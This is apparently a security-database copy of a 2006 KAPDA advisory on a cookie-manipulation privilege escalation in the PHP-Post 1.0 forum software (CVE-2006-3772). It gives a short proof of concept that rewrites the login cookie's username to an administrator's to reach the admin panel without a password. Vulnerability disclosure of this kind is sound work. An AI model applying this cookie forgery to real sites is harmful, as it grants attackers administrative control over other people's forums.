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Home arrow SecurityAlert Database

Arrow  Topic :

PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability


Arrow  SecurityAlert : 1264
Arrow  CVE : CVE-2006-3772
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : FarhadKey of KAPDA
Arrow  Published : 25.07.2006

Arrow  Affected Software : PHP-Post 1.0



Arrow  Advisory Content :  

[KAPDA::#52] - PHP-Post 1.0 Cookie Modification Privilege Escalation
Vulnerability

KAPDA New advisory

Vulnerable product: Tested on PHP-Post 0.21 and 1.0

Vendor: http://php-post.co.uk

Vulnerability: Privilege Escalation

Date:

--------------------

Found: Nov 23, 2005

Vendor Contacted: Jun 01, 2006

Release Date: July 18, 2006

About PHP-Post:

--------------------

Free, full featured php+mysql Forum Management System.

Vulnerability:

--------------------

Privilege Escalation:

PHP-Post contains a flaw that may allow a remote attacker to gain
administrative privileges.

PHP-Post doesn't properly authenticate remote users if auto login is on!

By editing the values of the cookie, an attacker can change their privilege
from a regular user to administrator and submit it back to the site.

Proof of Concepts:

--------------------

Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]=3nitr0;
logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284;
post[329]=330

change to:

Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]="ADMIN`S
USERNAME"; logincookie[last]=2006-07-07+05%3A24%3A44;
logincookie[lastv]=1152264284; post[329]=330

refresh the site, go to the admin`s panel without password ;)

Solution:

--------------------

No special patch is yet released by vendor but the vendor's website was
patched!

Jun 01, 2006: vendor contacted

Jun 03, 2006: vendor replied

* July 18, 2006: public release

Original Advisory:

--------------------

http://www.kapda.ir/advisory-380.html

Credit:

--------------------

FarhadKey of KAPDA

farhadkey [at} kapda <d0t> net

Kapda - Security Science Researchers Insitute of Iran

http://www.KAPDA.ir





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